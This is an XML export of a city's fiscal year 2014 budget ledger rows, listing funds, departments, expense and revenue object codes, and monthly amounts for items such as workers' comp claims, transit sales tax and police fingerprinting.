<row _id="13073"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>522010.0</object><object_description>PAYMENT OF CLAIMS</object_description><category_code>856.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6300000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6300000.0</total></row>
<row _id="13074"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>864.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>62150.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>62150.0</total></row>
<row _id="13075"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>405550.0</object><object_description>DOMESTIC PARTNERSHIP FLNG FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-175.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-175.0</total></row>
<row _id="13076"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>401360.0</object><object_description>GEN PROM BUS LICENSE MAIN ST.</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-6100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6100.0</total></row>
<row _id="13077"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>404810.0</object><object_description>REFUSE BINS - STORAGE FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-67400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-67400.0</total></row>
<row _id="13078"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9675.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9675.0</total></row>
<row _id="13079"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5140.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5140.0</total></row>
<row _id="13080"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>46002.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>46002.0</total></row>
<row _id="13081"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>577220.0</object><object_description>INTEREST EXPENSE - BONDS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>266550.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>266550.0</total></row>
<row _id="13082"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>577230.0</object><object_description>FISCAL AGENT FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5250.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5250.0</total></row>
<row _id="13083"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577701.0</object><object_description>PROP A REIMBURSEMENT-WISE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-614000.0</july><august>0</august><september>0</september><october>14000</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-600000.0</total></row>
<row _id="13084"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>278238.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>278238.0</total></row>
<row _id="13085"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>43</fund_id><fund_name>Gas Tax Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>400.0</total></row>
<row _id="13086"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8766.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8766.0</total></row>
<row _id="13087"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1777.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1777.0</total></row>
<row _id="13088"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10346.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10346.0</total></row>
<row _id="13089"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>567010.0</object><object_description>PUBLIC SAFETY BONDS</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>965750.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>965750.0</total></row>
<row _id="13090"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2091.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2091.0</total></row>
<row _id="13091"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>566970.0</object><object_description>FINGERPRINTING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>90200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>90200.0</total></row>
<row _id="13092"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5100.0</total></row>
<row _id="13093"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>820.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>3870000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3870000.0</total></row>
<row _id="13094"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>566631.0</object><object_description>SMURRF PLANT MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>484621.66</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>484621.66</total></row>
<row _id="13095"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>41000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>41000.0</total></row>
<row _id="13096"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4502.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>131.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4633.0</total></row>
<row _id="13097"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>58041.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>58041.0</total></row>
<row _id="13098"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="13099"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>941.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>941.0</total></row>
<row _id="13100"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>577064.0</object><object_description>OTHER MISCELLANEOUS EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="13101"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3535.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3535.0</total></row>
<row _id="13102"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>555061.0</object><object_description>OUTSIDE AUDIT EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15375.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15375.0</total></row>
<row _id="13103"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>544115.0</object><object_description>FARE MEDIA</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>56000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>56000.0</total></row>
<row _id="13104"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>577066.0</object><object_description>DELIVERY CHARGES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>103.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>103.0</total></row>
<row _id="13105"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9020.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9020.0</total></row>
<row _id="13106"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>402060.0</object><object_description>STA SALES TAX -OPERATING</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2014</fiscal_year><july>-2425957.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2425957.0</total></row>
<row _id="13107"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404280.0</object><object_description>PROP A LOCAL RETURN</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2014</fiscal_year><july>-398542.0</july><august>0</august><september>0</september><october>-980000</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1378542.0</total></row>
<row _id="13108"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404820.0</object><object_description>PROP A SALES TAX</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2014</fiscal_year><july>-12229633.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-12229633.0</total></row>
<row _id="13109"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578080.0</object><object_description>TRANSIT MALL MAINTENANCE</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>99493.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>99493.0</total></row>
<row _id="13110"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>522318.0</object><object_description>SAFETY &amp; SERVICE AWARDS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="13111"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object xsi:nil="true" /><object_description>PRINTING - GENERAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>150000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>150000.0</total></row>
<row _id="13112"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>PRINTING - GENERAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>17000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17000.0</total></row>
<row _id="13113"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>407516.0</object><object_description>FED CAPITAL GR-REV EQUIP</object_description><category_code>657.0</category_code><category_code_description>Capital Grants</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>-9907539.0</june><total>-9907539.0</total></row>
<row _id="13114"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400360.0</object><object_description>SMARS SOCIAL PROGRAM</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-3500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3500.0</total></row>
<row _id="13115"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400400.0</object><object_description>FIELD CONCESSION &amp; STORAGE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-18631.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-18631.0</total></row>
<row _id="13116"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>407560.0</object><object_description>SPECIAL INSPECTION FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-13000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-13000.0</total></row>
<row _id="13117"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>555021.0</object><object_description>DETECTION &amp; ALARM SYSTEMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3375.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3375.0</total></row>
<row _id="13118"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12356.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12356.0</total></row>
<row _id="13119"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5272.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5272.0</total></row>
<row _id="13120"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3487.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3487.0</total></row>
